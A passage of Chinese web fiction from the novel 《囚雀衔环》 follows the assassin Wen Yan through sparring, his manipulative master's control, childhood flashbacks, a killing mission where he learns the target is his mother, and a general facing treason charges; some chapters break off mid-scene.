当然,老师傅看人仍旧有些准头,柏清河又是他亲手教出来的徒弟,因此光是看两个小辈过了两三招的功夫,就已然发现了温言的身法之快、功力之高——论近身作战的能力,这位年轻小辈甚至隐隐凌驾于柏清河之上。 ……只可惜是野路子出身。 老师傅瞧着两人又拼了几招,心里难得起了些英才被埋没的遗憾。 以这年轻小辈的天赋,若是能如同柏清河那般从小便得到系统的训练和引导,时至今日,想必混个“第一高手”的名号也是极有可能的。 正在认真过招的两人哪能知道老师傅心里七弯八拐的过了这么多心思。 “……温言,你下手未免也太凶了吧。” 柏清河脚下后退两步,才堪堪卸掉了温言斜劈来的一刀,扬声控诉道。 “你这不是挡得住吗。” 温言站在原地甩甩手腕,无视了对方呲牙咧嘴的表情。 “再来。” 短兵相接,柏清河到底还是在力道上更胜一筹,伸手为掌抵在了刀背上,竟硬生生用手中的破烂铁刀扛住了对方的攻势。 温言略有些意外地挑了下眉,由于这场比试打着的是“熟悉新武器”的由头,柏清河十分配合地尽量避免了两人其余部位的肢体对抗。 也正因此,尽管温言不过是看似攻势凶猛,实则收了不少力道,可一旦时间变长,柏清河手中那破铜烂铁十分不经用的弊端也逐渐显露了出来。 “过招而已,”为了不落下风,柏清河只好以快制快,上前一步,手中短刀向下,几乎是贴身划过了温言的腰腹衣物,“这么气势汹汹,不知道的还以为你是准备谋杀亲夫呢……” 温言被这擦身而过的耳语闹得一僵,后仰下腰,抬腿踢开了对方的刀身;他刚一站稳,便有些紧张地侧目扫了老师傅一眼,见对方还是那副笑意吟吟的样,应当是没能听到柏清河方才那句浑话,才放下心来,垂眸淡声道:“……柏清河,你还是少开些胡言乱语的玩笑为妙……” 柏清河的眼睛始终盯着温言的一举一动,立马捕捉到了这份破绽。 “你在紧张,”柏清河目光锐利,宛如一头终于成功衔住了猎物的鹰,“温言,单纯的玩笑话是不会让人紧张的。” ——你若当真执意认定这是玩笑话,这份紧张又是从何而来? 温言扭过头,避免了两人的视线相触。 他回答不了这个问题。 ……不,他不是回答不了,是不能回答这个问题。 锦桢先前给他的提醒还历历在目。 “你在紧张,万一我真有这种想法……” 柏清河望向对方已然泛红的耳尖,突然笑了,问话步步紧逼,手上动作也半分不停,一点思考的间隙都不愿意留给温言,力求对方能再多卖点真实的破绽给他:“可是单纯接收他人的心意是不需要紧张的,只有心怀期待,才会害怕期待落空,进而犹生紧张。” “温言,你在期待什么?” 你在期待什么? 又在害怕什么呢? 这句话宛如一柄重锤,狠狠敲打在温言的心尖上。 这一锤太过于沉重,打得温言四肢发麻,脑中几乎转不过弯来,失去了思考与辩驳的能力,就这么完全被对方的逻辑绕了进去,只能机械地抬刀抵抗,不免变得左支右拙了起来。 老师傅耳背,半点没能听清这两位小辈之间发生了什么,只见得场上形势瞬息倒转,主动权竟突然被牢牢把握在了自家徒弟手上,逼得另一位年轻小辈节节败退。 温言无法,只能沉默以对。 这个态度却让柏清河忍不住有些雀跃了起来。 “你不说,那就让我大胆地猜一猜……温言,你就是在期待我说的话发自真心,对么?” 温言被短刀压得呼吸一滞。 ……看来我在这种事情上的运气真的很好啊。 竟然能一猜一个准 31. 熏香 《囚雀衔环》全本免费阅读 “今日倒是回来得挺早啊。” 年轻人背对着温言站在书房内,说话间手上动作不停,听着身后关门的动静,仍旧不紧不慢地盖上了香炉盖,只余下熏香飘起的细烟消散在空中。 温言的目光扫过那团袅袅升起的白烟,敏锐地觉察到,眼前这人的心情着实不怎么样。 于是在这个话茬上,他选择了沉默以对。 “坐吧阿言,”年轻人的目光从温言身上一划而过,指了指书桌对面的座位,“放松些,我只是认为我们应当好好聊聊。” 聊什么? ……怎么聊? 温言在脑中快速思索,同时抬眼看向落座在对面主座上的年轻人,对方脸上还带着那千百年如一日的微笑,周身气场甚至可以称得上是令人“如沐春风”;可那未达眼底的笑意却让温言不由得汗毛倒竖,别说放松了,他整个人都跟着紧绷了起来。 ……哪还有什么可聊的呢。 温言抽空回想了一下自己这段时间做得桩桩件件,当时被柏清河忽悠着脑子一热答应下来的事情,如今一看,哪件不是踩在年轻人的底线上跳舞。 正所谓,常在河边走,哪有不湿鞋。 更何况他本人运气向来不佳,如今就连“湿鞋”都湿得比常人更猛、更快,令他来不及想法子去招架。 年轻人大概也发现了温言不准备“坦白从宽”的消极态度,于是后退一步,主动承担起了引导话题的重任:“既然如此,我们就先从柏青舟开始聊起吧。” “若是我没想错,你现在是跟在柏青舟身后充当他的……”年轻人咂摸了一下措辞,“……临时侍卫?” 温言淡声否认道:“现在不是。” “现在已经结束了?好吧,那看来是前几日……哦,原来是你成天早出晚归的那些日子。” 年轻人很善于从温言给出的只言片语中提取自己想要的信息点,迅速整合内容后,随即话音一转,叹息似的问道:“阿言,我稍微有些困惑,明明我也没给你减衣缩食,平常你要什么我就给什么……既然一个人什么都不缺,那到底会基于何种理由,才愿意选择冒着惹怒我的风险去私下接受一个回报率如此之低的事情呢?” “柏青舟那个老狐狸,开给你的工钱应当还没我高吧?” 年轻人这番话中咬了好几个重音,温言却单单就着“工钱”一词思考了几秒。 可惜与此有直接关系的人并非是柏青舟,而他既不愿意将夹在中间的柏清河抖落出来,又没能想出什么可以骗过对方的好答案,因此只好不点头也不摇头,反倒是无端想起了柏青舟那张惯常会扮可怜、骗死人不偿命的嘴。 年轻人站起身,脚下落地无声地走到了温言身后,双手搭在对方的肩膀上,俯下身,语气堪称循循善诱:“阿言,如果你到现在都不愿意与我说实话,我会很伤心的……” 温言几乎是下意识地挺直了脊背,放在膝盖上的手不受控制地微微颤抖了起来。 “好,”他深呼吸了两口气,努力平复下自己的心跳节奏,压着嗓子反问道,“你想知道什么?” “我就喜欢阿言你这点,”年轻人发出了一声轻笑,“不过我刚才仔细想了一下,阿言你应当跟柏青舟没有任何交集才是,却突然给他当了侍卫……想必那个不安分的柏清河也在其中掺了一脚吧?” “……是。” 温言垂眸答道。 “这可就有意思了。”年轻人盯向温言的目光逐渐变得锐利,可惜他站在身后,温言本人没能看到这番变化。 “柏青舟是个残疾,柏清河虽然浑,却把他哥看得跟眼珠子一样紧,而他离开皇城的那些天,竟然选择找了阿言你去当他哥的侍卫,该说是他胆子太大,还是说……你俩什么时候有了这么好的关系?” 关系? 他和柏清河哪有什么关系? 温言鲜少感觉自己的脑子反应慢了一拍,思绪有些跟不上对方的说话速度,愣了好几秒钟,才缓缓摇了摇头。 “……没有关系。” “是么,可我猜……柏清河这人名声早就坏透了,根本就是个男女不忌的主,也许并不会这般认为。” 年轻人突然伸手掰过温言的脸,强硬地将其朝向桌面上立着的小铜镜——铜镜边缘处有一道裂纹,倒映在其中的人脸变得七歪八扭,像是什么浮在水面上,随着浪潮波荡起伏的妖怪。 “阿言,可别忘了你这张脸是怎么被留下来的。” 温言被迫抬眼望向铜镜中的这张脸,心下思绪翻飞,竟无端觉得自己的五官变得陌生,又逐渐扭曲在了一起。 ……目光涣散,看不真切。 被轻抚的耳边却突然炸开了一声小孩的啼哭。 “……哭得人头疼,找个地儿,把他拖出去直接埋了。” 一道苍老的声音从门外传来,彼时的小温言正站在房间内,被一个女人拦腰抱住,轻柔地擦拭着脸上的血迹。 “这就是最后剩下来的那个?”老人低头看向面前的小孩,伸手一把将小温言从女人的怀里拽了出来,上下打量了一圈,皱着眉问道。 “是。” 年轻人——此时也不过是个面容白净的小孩——从旁边走了出来,朝着老人行了个礼,才恭敬地开了口。 “嗯,这孩子筋骨不错,目前和你的身形也像,算是可用,”老人说着话,目光随即从“年轻人”身上略过,抬手将两个孩子拉在了一块儿后,皱着的眉头反而更深了几分,“只是这张脸……” “年轻人”有些不解地转过头,看向小温言的脸:“长老,有什么问题吗?” “太打眼了。”老人伸手抚摸过小温言的脸,话中内容却始终是朝着“年轻人”在询问,仿佛自己手下正在摆弄的孩子不过是一件没有自主意识的物品,“不如送去动几刀,改改?” 小温言虽然还只是个孩子,但在经历过那些被关在牢笼中的、残酷的厮杀后,多半也听懂了面前这位长老的意思。 他的身体本能地开始颤抖,他在害怕。 可他如今不过是一件不配做出任何反抗的人偶,若是敢不服从,就会像先前被拖出去的那个孩子一样。 也许是就地埋了,也许会用别的什么方式。 ——总之,会死。 小温言走投无路,只好将无助的眼神投向站在身旁的“年轻人”。 他刚一转头,却发现对方也正盯着自己,目光中没有同情和怜悯,而像是在看着什么垂死挣扎的猎物,缓缓地露出了一抹笑。 “这便不必了长老,反正他是‘影子’,出任务时几乎不留活口,没什么遮 32. 青鸢 《囚雀衔环》全本免费阅读 “你在看什么?” 小孩凑到了窗边,跟着对方的视线角度往外张望。 “看鸟。”小温言目光不斜,抬手朝空中指了个角度,谁知他刚一抬手,那只鸟就扑腾起了翅膀,“啊……飞了。” “喔——” 小孩在旁边发出了一声毫无起伏的应和。 小温言倒是不甚在意身边人的反应,两手抓着铁栅栏,缓缓坐在了地上。 小孩转头问道:“你喜欢鸟?” 小温言低下头,思考了几秒才答道:“我喜欢看它们飞起来的样子。” “唔……”小孩似乎没想到小温言会给他一个这么具体的答案,顿了顿,才继续着这个话题,“那你有没有听说过神鸟毕方?” “什么是……”小温言有些疑惑地重复了一遍,“神鸟毕方?” 小孩大抵已经习惯了同龄人的孤陋寡闻,因此很是大度地一点头,背课文似的说道:“毕方,状如鹤,一足,赤纹,白喙,其鸣自叫也,见则其邑有讹火。” 听起来很漂亮。 小温言这才扭过头去看他,皱着眉怯生生地问:“可是出现的地方就会有野火……这不是很不好吗?” “也许是吧,”小孩哼笑了一声,“要我说,这也有可能只是无能的人们面对突如其来的天灾的一种借口罢了。” 哦。 小温言懵懂地点了点头。 他不知道该怎么接这个话茬,对方坐在一旁,却丝毫没有要走的意思。 于是他只好礼尚往来地问道:“那你呢?你喜欢什么?” “我吗?我没什么喜欢的,”小孩似乎是没想到温言会主动来跟自己搭腔,很愉悦地答道,“世间活物都有自己的意识和主见,我对那些东西没兴趣,更谈不上喜欢。” ……嗯? 小温言还是头一回听到这种观点,再加上对方刚才的一番卖弄,使得眼前这位第一次见面的同龄人在他脑中留下了个“学识渊博”的好形象,这才不由得对对方的答案真来了两分兴趣。 小温言歪了歪头,又将刚才的问题重复了一遍:“那你喜欢什么?” 小孩这回没再顾左右而言他,而是坚定的给出了答案:“刀。” 刀? 这下小温言就更不懂了。 这种凶光毕露,开刃即见血的冷冰冰的武器,哪里有什么好喜欢的? 大概是小温言露出的迷茫和疑惑实在是太过显眼,逗得偏头来瞧的小孩忍不住笑出了声。 “刀有什么不好?”小孩像是知道温言脑中在想什么一样,开口阐述道,“这种可以拿在手中,只会听从自己的指令,指哪儿砍哪儿的利刃当然是最棒的。” 对方说话的语气太过于肯定,小温言的思路就这么被对方带着跑了。 ……好像也有几分道理。 “活物会产生‘愿望’,这份‘愿望’会无时无刻动摇他们的决心,以至于他们在遇到任何指令时都会进行思量……” 小温言盘腿坐在地上,屁股底下铺了层干燥的枯草,他耳边是小孩的侃侃而谈,望向的却是广袤天地,树间传来了几声鸟鸣,翠绿野草上的露珠早就不知何时被升起的阳光蒸干了,草尖却仍旧闪着刺眼的光。 而拦着他与这片欣欣向荣交汇的,正是笔直竖起在眼前的一小排铁栅栏。 “……所以你呢,你有什么愿望?” 小温言这才回过神,收回了眺望的目光,转而对上了小孩黑洞洞的眼底。 “我的愿望……”小温言在对方的目光中低下了头,掰着手指道,“只要能活下去……” “……若是还能吃饱饭,就更好了。” 小孩一愣,随即大笑出声。 “哈哈哈哈哈哈,”小孩笑着揽过了小温言的肩膀,“你这愿望未免也太质朴了。” 质朴就质朴吧。 小温言早就习惯了,没将对方的嘲笑放在心上。 若是每个人的冷嘲热讽都要被铭记在心,他早就该倒在人声鼎沸的大街上被骂到羞愤而死了。 小孩转头看向温言,两人间的距离被拉近,这回小温言总算是看到了对方眼底那模糊的倒影。 “我果然还是很看好你。”小孩突然咧嘴笑了,望向小温言的双眼显得亮晶晶的,“你可千万别让我失望啊。” 你可千万别让我失望啊。 “咳咳咳……” 温言一手捂着自己的脖颈,猛地翻身坐了起来,潜在梦中的意识还未完全回笼,目光却已将屋内环视了一圈。 身下的床板怎么摸着比往日要硬上几分…… 温言低头瞧了两眼。 哦。 原来是他昨日强撑着回到房间后,就直接倒在了地上。 难怪做了个噩梦。 温言从地上站起身,活动了下关节,才弯腰将被压在身下的信封捡起,妥帖地放到桌面上,走出房门用冷水洗了把脸。 好真实的噩梦。 冷水顺着温言的衣领和袖口蜿蜒而下,逼着人打了个寒颤。 诸般回忆涌上心头的滋味,当真是令人作呕。 身体里的毒素昨晚被催发了一通,滋味虽然难熬,但好在暂时没留下什么大碍。 温言垂眸拆着信封,心下想着,手中这任务即使是难如登天,也得速战速决才行。 等到纸张被尽数抖开,温言仔细翻阅了三遍,也没能明白年轻人当时所说的“非他不可”到底是什么意思。 不过是去青鸢阁里杀个人而已。 和平常的任务好像也没什么区别。 温言将手中的纸张点燃,确认内容全部被烧成灰烬后,才从柜子的暗格里摸出一早藏好的新佩刀,戴在腰间。 准备万全,今晚太阳一落山就动手。 - “琴,今日又有送来给你的信。” 小二站在屋外用力锤了两下门,又喊了一嗓子,屋内这才有了反应,只听一阵缓慢的脚步声停在门边,一把推开门,将小二手中的信抢了过来。 “多谢。” 被称作“琴”的女子声音沙哑,话音未落,屋门又被嘭地一声关上了。 “呸——” 小二差点被这门夹了鼻尖,恶狠狠地低声咒骂道:“年老色衰的下贱东西,在这里摆什么谱。” 不知屋内的人到底有没有听见这番话语,总之骂是骂了,小二也不指望对方真会有什么反应,又去轻手轻脚地敲响了下一个屋门。 “宋小姐,宋小姐?今儿有您的信嘞……” 琴回到屋内,抿起唇,动作粗暴地撕开了手中的信封。 第三天了。 这已经是她连续第三天收到这位神秘人送来的信件了。 “算算日子,”琴身着一件已经洗得有些褪色的长裙,坐在床边,将展开的信纸细细读完后 33. 遗言 《囚雀衔环》全本免费阅读 听遗言? 温言拿刀的手稳得出奇,心里却莫名翻腾起一股滋味。 他倒是听过不少临死前的咒骂和哀嚎,从唾沫横飞到涕泪横流应有尽有,如今还是头一回遇着要他听遗言的——这东西说给一柄杀人如麻的刀听,其作用与对牛弹琴的差别几乎为零。 而面前这个女人身上衣着穿戴齐整,像是早已恭候多时,或是随时准备出门待客,可头发却只是有些散乱地用根发簪盘在脑后,两厢搭配在一起,有种说不上来的微妙的怪异感。 温言不动声色地用眼神打量对方片刻,最终在女人准备再开口说些什么时,垂手放下了匕首。 “五分钟,我只留给你这么长时间,”温言面无表情地落座在茶桌对面,这才从正面看清了女人脸上涂抹的薄薄一层脂粉,“中途要是让我发现了任何小动作,你只会死得更快。” 这房间陈设简单,空间也不大,女人所站的位置即使是靠近房门,也不过就在三步开外。 这个距离,哪怕是女人下一秒就要扯着嗓子大叫着往门外跑,温言也确信自己能在对方出声前就将人一击毙命。 女人走向茶桌时抬眼望向温言,面色苍白地笑了一下:“是,我知道。” “我叫……琴,算是青鸢阁早期起家的几位头牌之一,”琴坐在温言对面,将桌上早已凉透的茶水反手倒了,又从茶壶中倒出两杯新的,这才翘着指节放了一杯到温言面前,“我们那时候也是群有娘生没娘养的稚童,没有属于自己的名字,稀里糊涂地被这里的老鸨捡回来养了段时日,最出色的四个,就分别用了‘琴棋书画’四个字,从那以后,琴就是我的名字。” 温言从刚才的打量中就发现,女人的年龄莫约四十,两鬓已生出丝丝缕缕的白发,看着却全然不显老态,仿佛那白丝不过是如头饰般的点缀;面上,眼角眉梢的细纹也不算少,却仍挡不住那眼眸盯着人看时仿佛流转着一汪清泉的温柔姿态。 琴年轻时怕是比如今的宋婉还要令人心驰神往。 她说完这段话,停顿了会儿,像是暮然回首自己这短短一生,竟然真的没想起什么能拿出来说道两句的“事迹”似的,只好使劲儿的搜肠刮肚起来。 “我当时……年仅十六,凭着一首东风奏,已然名动皇城。” 人一旦陷入回忆,无知觉的小动作就会多起来——琴伸出手指不断摩挲着面前的茶杯,良久,才端起来浅抿了一口。 “那时候多少名门望族想要听我一首曲子,都得跑这青鸢阁里来给我赔着笑脸,何等风光……这些形形色色的东西见得多了,我也因此自以为识人无数,这世间不会再有任何骗术能骗过我的眼睛……” 她成名太早,自然难免恃才傲物,总觉得这份风光能陪着自己度过无数荣辱。 直到她年过二十二。 要说这皇城里花期最短暂的,除了爱躲在树上鸣叫的蝉,就是青楼里的名姐儿——青鸢阁这种饱负盛名的地方尤是。 青鸢阁每年挑选培养年轻貌美的少女无数,以满足皇城内那些癖好丰富的公子哥们时常爱“尝鲜”的需求。 因此少女中,调教得好的全都急不可待地被推出来待客,生怕慢了一步,被同行抢走了哪怕一丝生意;调教不出来的,过了段时日全都消失得悄无声息,没人会再试图提起她们,探究她们的去向。 开玩笑,在这种随时会吃人的地方,花光精力能保全自身已然是不可多得的运气了。 谁还有那份闲心去关注别人的死活? 于是琴摸爬滚打近十年才换来的盛名仅仅只持续了六年——这时间听上去短得甚至还没回本,却已经是姐儿们里难得的“长花期”了。 新秀们层出不穷,名声鹊起,琴的名声逐渐没落,那些“宠爱”与金钱曾如潮水般涌来,又猝不及防地在某一日迎来了退潮。 “就在这个时候,有一个男人始终对我……”琴重新给自己倒上了一杯茶水,咂摸了一下措辞,随后自嘲地笑了起来,“……不离不弃?” 饶是温言,也能听出她的语气中参杂着再明显不过的质疑。 那些名门子弟日日都追逐着更加年轻的新姐儿,琴在他们眼中不过是一个已经被看腻了面孔的玩具。 琴的地位日复一日地没落,也正因此,她才逐渐注意到了一个曾经混迹于万千恩客中的男人。 “他告诉我了他的名字,”琴的目光温柔地描摹过温言的眉眼,“他说,他叫谭旭。” 而温言的目光始终追随着面前的女人,以防对方随时可能出现的小动作,此时却不免微微愣了下神——谭旭,正是出现在他任务名单上的另一个名字。 琴薄唇微启:“……这便是我噩梦的开始。” 经历过这些事情以前,在琴眼中,谭旭不过是她陪过的无数男人中十分普通的一个,出手不算太过阔绰,也没什么特别的癖好——不足以成为阁内姐妹们的谈资,算是个“名不见经传”的小人物。 可当那些出手阔绰的恩客们飞的飞、散的散,留下来的不过寥寥几位,谭旭的条件便瞬间显得优越了起来。 “他曾说过,说过他会带我走,我知道男人在床笫间的话做不得真,可当时还是犯了蠢,因为我太害怕了,你知道那些‘花期’过了的女人最终都是什么下场吗?” “你不会知道的……对于那些上等人而言,无法为青鸢阁赚到钱的女人,养着不过是累赘——孩子,你要是听累了,可以先喝口茶,这可是难得的上等茶叶——青鸢阁有段时间甚至传出过闹鬼的传闻……”琴捏着茶杯的手微微颤抖,面上却是朝着温言粲然一笑,“可那不是鬼,那当然不是鬼,那是人。” “全是被折磨得夜夜惨叫,活得不如猪狗的女人。” 温言面无表情地听着,垂眸看了一眼摆在自己面前的茶杯,飘着的热气已经逐渐散了,想必是正宜入口的温度。 他的手却丝毫未动。 琴见他没有要喝茶的意思,也不强求,就这么继续讲了下去:“我每日每日,每时每刻都在期待着他能突然告诉我,他做好准备了,他可以带我走,可是没有……他还是三不五时地来青鸢阁看我,听我弹着那些写满了风花雪月的曲子,窝在那雅间的一亩三分地里,向我表露衷肠,却再也没有提过这件事。” 可偏偏琴心里那股自傲的气散不开,以至于她不相信。 她怎么都不相信他会就这么言而无信。 “于是我一次又一次地骗着自己,他也许只是还没有做好准备,毕竟赎人需要的大笔钱财并非一日之功就能凑齐,”琴突然低下了头,双手捂着脸,肩膀耸动,语气似哭似笑地说道,“……后来我跟他说,他拿不出那么多钱也没关系,我可以帮他,曾经那些恩客送我的首饰我全都可以不要,我只要离开,只要能离开……哪怕是一贫如洗,我也不在乎,我只想走……” “我太害怕了……” 直到这个时候,她才真正看清了那个夸下海口,却又支支吾吾的男人的面目。 那年,她也才年仅二十三。 放在寻常人家,正是如花似玉的好年岁。 她却已然被铺满荆棘的前路扎了个鲜血淋漓,找不着出路,沿途甚至横生枝节,彻底绊住了她的脚步。 在连续几天的彻夜呕吐后,她心下不安,花了点功夫,偷偷找来个大夫,把了脉,情理之中般得知自己怀孕了。 琴从来不知道,人竟然还能倒霉到这般田地 34. 愿望 《囚雀衔环》全本免费阅读 什么意思? 窗外大雨倾盆,女人的最后一声笑音似乎仍回荡在耳边,温言不由得思绪翻飞,逃离房间的步伐略显杂乱。 他知道自己是老乞丐从街角土坑里捡来的。 老乞丐曾经跟他说过,自己这一生就没什么“有本事”的时候,年轻时还能到处干干体力活,赚个辛苦钱混口饭吃,等到老了,算算手中的辛劳半生攒下的钱财,还不够在这皇城里买个茅房使,也就索性彻底放开了喝酒打牌,等钱花光了,就成了乞丐。 说来也巧,老乞丐这辈子做过的最有本事的事,大概就是出于不忍,从土坑里抱回了个孩子。 或许老乞丐也犹豫过,虽说这只是个没人要的弃婴,倘若不是自己刚好大清早的跑这土坑里撒尿,怕是再过个五时三刻的,这孩子就该小脸青紫了;但他也只是一个乞丐,又怎么可能具有从零开始抚养一个孩子的能力…… 温言不知道最终到底是什么想法在老乞丐这心理博弈中占了上风。 总之他就这么屁颠颠地跟在老乞丐身后,裹着满身恶言,饥三五顿饱一顿地长大了。 而老乞丐虽然有时说话难听了些,却从不骗他。 女人临死前的那句质问再一次浮现在了温言的脑海,逼迫他不受控制地去想:她为什么会知道这些?谁给她的消息?还是说……莫非她最后说的都是真的? 疑问接二连三地涌上心头,温言从未如此迫切地想要寻求到答案。 可如今看起来最能为他答疑解惑的人,已经远远倒在了他的身后。 年轻人望着温言走进庭院的身影,在连廊里静悄悄地招了招手。 “回来得……” 年轻人刚要开口,就被疾步而来的温言出声打断:“她是谁?” “……回来得很快啊阿言,怎么下雨了也不知道打把伞?”年轻人与面前这位形容狼狈的“落汤鸡”对视一眼,慢悠悠地接上了后半句话,“为什么这副表情,是故事不好听吗?” 温言头一次回避了对方递来的询问,甚至顾不上额前发丝上蜿蜒而下的雨水,坚持着问道:“她是谁?” “……” 年轻人大概也是第一次被温言用这种态度对待,碰了壁,没准备直接回答,而是嘴角微微上扬,勾勒出一丝不太明显的笑意:“阿言你不是已经知道了吗?” “看你的表情,她应当已经全都告诉你了才对。” 温言的面色几乎是瞬间变得苍白起来:“所以……她说得都是真的?” “唔……应当是吧。”年轻人面上笑意不减,不甚在意地一耸肩,“我想,大概不会有人选择在这种……明知道是一生中唯一一次的机会上撒谎的,阿言你觉得呢?” 温言站在年轻人面前,低垂着头,没吭声。 雨水从垂下的发丝砸落在地面上。 “看来阿言你也赞同我的观点。” “阿言你曾经不是好奇过自己的身世吗,如今解开了谜题,应当高兴才对,为什么是这副表情?”年轻人拍着浮灰站起了身,他身量与温言相当,伸手拍上对方肩膀时却平白有股威压,轻松将面前低着脑袋的人的气势又压矮了几分,“是不是那个女人说话太难听了?她跟你说了什么?” “……我猜,她大概会怨恨你为什么没死吧?” 温言身躯一震,抬头抹了把脸上冰凉的雨水,眼尾泛红,想要推拒开面前的身影,伸出的手却并未用上多大的力气——因为他知道,对方说的是对的。 也正因此,年轻人很轻易地钳制住了他的手臂,冷笑一声:“可是阿言,她怨恨你也是应当的。因为你的存在带给她的只有苦难,不是么?二十年前你就是把她逼上绝路的最后一根稻草……现在的你依然是。” ……他说的对。 她合该恨我,这才是对的。 温言有些走神地想,那我为什么还是会难受? 那个名叫琴的女人,于他而言,同陌生人相比,难道真的有任何区别吗? 从他知道两人的身份关系到对方倒在他面前,拢共只有那么寥寥两三句话的时间,温言扪心自问,他那早已被训练得淡薄无比的共情能力根本不会让他对此产生什么情感波动。 除了他在那个女人的肚子里呆了八个月外,两人哪里还有一丝一毫的交集? 他刚降临于世就被这个女人狠心地丢进了土坑,时隔二十年,对方送他的第一份见面礼是有毒的茶水,第二份,是临终的怨恨。 他到底为什么会因为这么一个人而难受? “……她死了,谭旭这人虽然活着,却再也不可能会选择去承认你的身世,不如说,这个女人的死甚至了却了他的一桩心结——但凡他当年有动过一分承认的心思,阿言你应当也不至于会沦落成乞丐出身……不过没关系,他之后也将要成为你的刀下亡魂了——阿言,说实话,我本来不想让你这么快就走到这一步的,但是你……” “你心里产生了更大、更多的‘愿望’,已经不像一把纯粹的刀了,”年轻人面上的笑容消失殆尽,手下力道加重了几分,将温言拽向自己,近乎耳语似的说道,“可惜,我暂时还不允许你脱离我的掌控。” 愿望? 温言仰起头,努力思索着,只觉得自己的脑袋又开始一顿一顿地痛了起来。 ……我的愿望是什么? “现在这样就很好,什么血脉至亲,不过是些徒留怨恨的笑话,”年轻人玩味地欣赏了下温言现在的表情,“反正这些人很快都会死,而你再也无法在这世间寻到第二个能像我这般收留你的去处了。” “阿言,你以后、永远只能当我的刀。” 温言沉默了半晌,才像是终于想通了似的,低低地笑了两声。 “是吗……”雨水浸泡过衣袖,迟来的寒意激得他打了个寒颤,哼出的气音都变得颤抖而破碎,语气妥协,“……是吧。” - “柏清河,你磨磨唧唧的在那儿做什么呢?” 柏夫人的声音从身后响起,手中还端着两个瓷盘,站在连廊下喊道:“你看这天,乌云密布的,等下怕是要下雨……快别站在外面了,过来搭把手。” “诶,来了。”柏清河闻言,立马吐掉口中叼着的狗尾巴草,小跑过去,从柏夫人手中接过两盘色泽鲜艳的饭菜,“嚯,怎么这么丰盛?” “难得你爹回来一同过月夕,还不 35. 树影 《囚雀衔环》全本免费阅读 “谁回了?你说柏平昀已经回了皇城?”谭旭皱起眉头,微微坐直了身子,搂着怀中小姐的手却并未收回,甚至还搭在对方腰间摩挲了几下,面上问道,“恰达勒最近频繁骚扰辛城,他若是率兵出征,少说也该要一两个月才能顺利回来,怎么会这么快?” “不是率兵出征,”负责探明消息的侍卫单膝跪在地上,正色答道,“据说柏大帅这回是被围困于城中打了场攻防战。” 谭旭这才隐约觉察到事情似乎并不简单:“以他柏平昀的水平,怎么会被围在城里?” “属下听说,是皇城送往辛城那边的粮出了问题……” 侍卫一板一眼地将花费半日探明到的具体情况一一进行了说明。 谭旭半靠在软垫上,原本只想听个乐子,以便未来被柏平昀甩脸子时可以将这件事翻出来回味回味,在心里默默嘲笑对方的“无能”,却没曾想,这事儿他越听越心惊肉跳,算了算时日,发现整件事情的导火索,也就是那批在路途上不知何时被偷梁换柱的霉梁,正好出现在他这回离开辛城的前几日。 这时机实在是太凑巧了! 谭旭想明白了事情的严重性,这才恋恋不舍地放开了怀中的女子,沉下脸来,随手指派了另一个侍卫,让人将其好好地给送回去。 倘若他恰好在霉粮运到辛城前或是当日离开,被柏平昀发现,顶多只能算个擅离职守、玩忽职守一类的罪名。这种事早就不是第一次发生了,最多罚点钱算做小惩大戒,这事儿也就算了。 可他好巧不巧,偏偏是在过于草率——看都没看地走完了流程、签过字之后才因为无聊,离开了辛城。 现如今东窗事发,他曾经玩忽职守胡乱签字的那些东西肯定已经被底下的人一股脑儿地翻了出来,满含怨气地呈在了柏平昀面前。 怎么就这么巧…… 谭旭这才后知后觉地有些紧张起来,眉间拧起,问道:“今日朝堂上有没有什么动静?” 他原以为自己偷摸着回皇城这事儿他知柏平昀知,可谁都没想着向上捅破,早已算得上是达成一致、“墨守成规”了,可如今被这突发事件横插一脚,只怕是再也瞒不住了不说,他们这些个常年征战在外的将军也没有什么按时上朝的老实习惯……他这几日光顾着在这别院里寻欢作乐了,闭目塞听,根本没想起还有这档子事。 ——但如今自己没去上朝,便显得有些意味不明了起来。 柏平昀先前被围困于城中时,朝堂便已在几日后拿到了他传回的紧急战报,此番他亲自归来,自然是要被问及缘由。 “柏大帅在朝上无半分隐瞒,将事情缘由如实讲了……众朝臣听完皆震怒,其中兵部尚书最为言辞激愤……” 侍卫低垂着脑袋,像是已然知晓了眼前人的脸色,没敢抬头,继续说道:“兵部尚书说,霉粮数量庞大,您但凡看了一眼,便万不会出现后续事端,此为玩忽职守,当按律论处……还说,您大概率也参与到了此次事件当中,想以被偷梁换柱的好粮牟利,此为蔑视律法;同时,您前脚刚走,恰达勒后脚便进犯疆土,难保是您故意走漏了风声,此为……有通敌叛国之嫌。” 轰隆—— 瓢泼大雨中,窗外落下了今晚第一声惊雷。 谭旭听完,气极反笑,一脚踹翻了面前的茶桌,咬牙吼道:“去他妈的通敌叛国!老子当年跟着柏平昀走南闯北平定江山时,他还不知道在哪个旮旯角里当鹌鹑呢!” 兵部尚书说话向来心直口快,参人的时候嘴上更是不留情面,无论什么大小错处,但凡让他抓到一丝苗头,都能给对方扣上几顶“当按律论处”的罪名帽子——有时候甚至扣得比那脑袋上的乌纱帽还严实。 只不过这回,“通敌叛国”这么重的罪名都敢给他谭旭扣下,怕是旁的那些个朝臣说话也好听不到哪里去。 谭旭细细琢磨了一下,总算是回过味儿来了——这分明就是有人要阴他,而他偏偏肆意妄为久了,无知无觉,还真就结结实实地一脚踩进了对方早已准备好的陷阱里! 天杀的,到底是哪个王八羔子! ……等之后让他抓到了,非得给这背后小人大卸八块了不可! 谭旭沉吟半晌:“皇上最后怎么说?” “柏大帅在殿上神情平和,反而出言安慰了兵部尚书几句,表示这事其中可能另有隐情,他这次回来皇城就是为了来当面找您问个清楚,”侍卫心知谭旭现在的心情应当是差到了极点,大气也不敢出,语速飞快地将细节交代了一遍,“皇上脸色不佳,却也不好当众落了柏大帅的面子,最后折了中,允许柏大帅派人跟随巡检司一同将您捉拿,待关入地牢审问后再做打算……” 这是个屁的再做打算。 谭旭简直怒火中烧,皇帝虽然没有明说,但这意思分明就是已经认定了他有罪,不过是看在柏平昀的面子上选择了延后处理而已。 虽说他这些年越来越看不惯柏平昀其人,可事到如今,这整个皇城内仍旧“相信”他的估计只剩下了对方,而他本人也暂时想不出其他任何的好方法,只能像个待宰的羔羊一样等着柏平昀前来出现在他面前,两人将这事儿细细掰扯个明白。 “将军,”先前被雨沾湿的衣袖贴在了身上,散发着阵阵寒意,侍卫难得皱起了眉头,“倘若没有算错,明日一早,巡检司的人就该一处处地搜寻您的宅院了,找到此处是迟早的事,我们……” 要走吗? 走个屁。 